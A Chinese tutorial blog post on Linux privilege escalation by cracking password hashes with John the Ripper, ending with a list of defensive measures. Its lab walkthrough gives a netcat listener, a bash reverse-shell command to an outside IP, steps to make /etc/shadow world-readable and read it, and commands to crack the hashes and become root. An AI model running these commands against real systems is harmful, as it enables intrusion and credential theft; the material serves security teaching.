当前位置: 首页 > article >正文

Linux提权--John碰撞密码提权

​John the Ripper​(简称 John)是一个常用的密码破解工具,可以通过暴力破解、字典攻击、规则攻击等方式,尝试猜解用户密码。密码的弱度是提权攻击中的一个重要因素,如果某个用户的密码非常简单或是默认密码,攻击者就可以利用密码破解工具轻松提取出密码,进而获得该用户的权限,甚至是 root 权限。

一.常见的 John 密码碰撞提权方法
  1. 通过获取 /etc/shadow​ 文件:在 Linux 系统中,用户的密码哈希值通常保存在 /etc/shadow​ 文件中。如果攻击者能够读取到该文件,便可以使用 John the Ripper​ 等工具进行密码破解。
  2. 使用字典攻击:如果密码设置简单或基于常见的单词,John the Ripper​ 可以通过字典攻击快速猜解密码。字典攻击是基于预先构建的常见密码列表来进行尝试。
  3. 暴力破解:如果密码较为复杂,可以使用暴力破解法尝试所有可能的字符组合来解锁密码,尽管这个过程可能需要较长的时间。
二.漏洞示例
A.获取靶机shell
  1. 攻击机监听端口

    • 命令:nc -nvlp 7771​
  2. 目标主机反向连接

    • 命令:bash -i >& /dev/tcp/192.168.13.130/7771 0>&1​
  3. 连接成功,获取shell

B.赋予权限(提权条件)
  • 命令:sudo chmod 666 shadow​

    • PS:使shadow文件可被任意用户查看。
  • 拿到用户密码的哈希值

    • 命令:cat /etc/shadow​
C.密码提权
  • 存放哈希

    • 命令:vim password.txt​
  • 密码破解

    • 命令:john password.txt​
  • 提权成功

    • 第一步:python -c 'import pty;pty.spawn("/bin/bash")'​

      • PS:切换到交互式shell
    • 第二步:sudo su

      • PS:填写爆破出来的密码,完成提权。
三.防御措施
  • 使用强密码:复杂且长的密码,包含字母、数字和符号。
  • 高盐值与多迭代:使用强加密算法(如 SHA-256),并增加盐值和迭代次数。
  • 禁用弱哈希算法:不使用 MD5 或 SHA-1,改用 bcrypt 或 PBKDF2。
  • 限制 sudo 权限:仅授予必要的权限。
  • 启用多因素认证:增加登录安全层。
  • 定期更换密码并审计日志:加强密码更新和行为监控。

http://www.kler.cn/a/534635.html

相关文章:

  • 【React】合成事件语法
  • MongoDB 查询文档
  • 人工智能赋能企业系统架构设计:以ERP与CRM系统为例
  • axios如何利用promise无痛刷新token
  • SpringBoot使用 easy-captcha 实现验证码登录功能
  • 四.4 Redis 五大数据类型/结构的详细说明/详细使用( zset 有序集合数据类型详解和使用)
  • K8S Deployment 实现 金丝雀(灰度) 发布
  • 用pytorch实现一个简单的图片预测类别
  • 原生redis实现分布式锁
  • web 第二次作业
  • 关于Vue.js组件开发
  • 基于keepalived+GTID半同步主从复制的高可用MySQL集群
  • python学opencv|读取图像(五十七)使用cv2.bilateralFilter()函数实现图像像素双边滤波处理
  • 报错解决方案笔记01
  • 为什么使用nohup 和 启动的python脚本,日志没有在nohup.out中
  • 迅为RK3568开发板篇OpenHarmony实操HDF驱动控制LED-编写应用APP
  • 【ROS视频推流】使用web_video_server完成视频推流
  • LLMs之data:synthetic-data-generator的简介、安装和使用方法、案例应用之详细攻略
  • Ubuntu24登录PostgreSql数据库的一般方法
  • 常用的TS类型工具
  • lambda表达式写java比较器
  • deepseek技术细节1
  • 线程池如何知道一个线程的任务已经执行完成
  • 调用腾讯云批量文本翻译API翻译srt字幕
  • Text2Sql:开启自然语言与数据库交互新时代(3030)
  • postgresql-COALESCE函数、NULLIF函数、NVL函数使用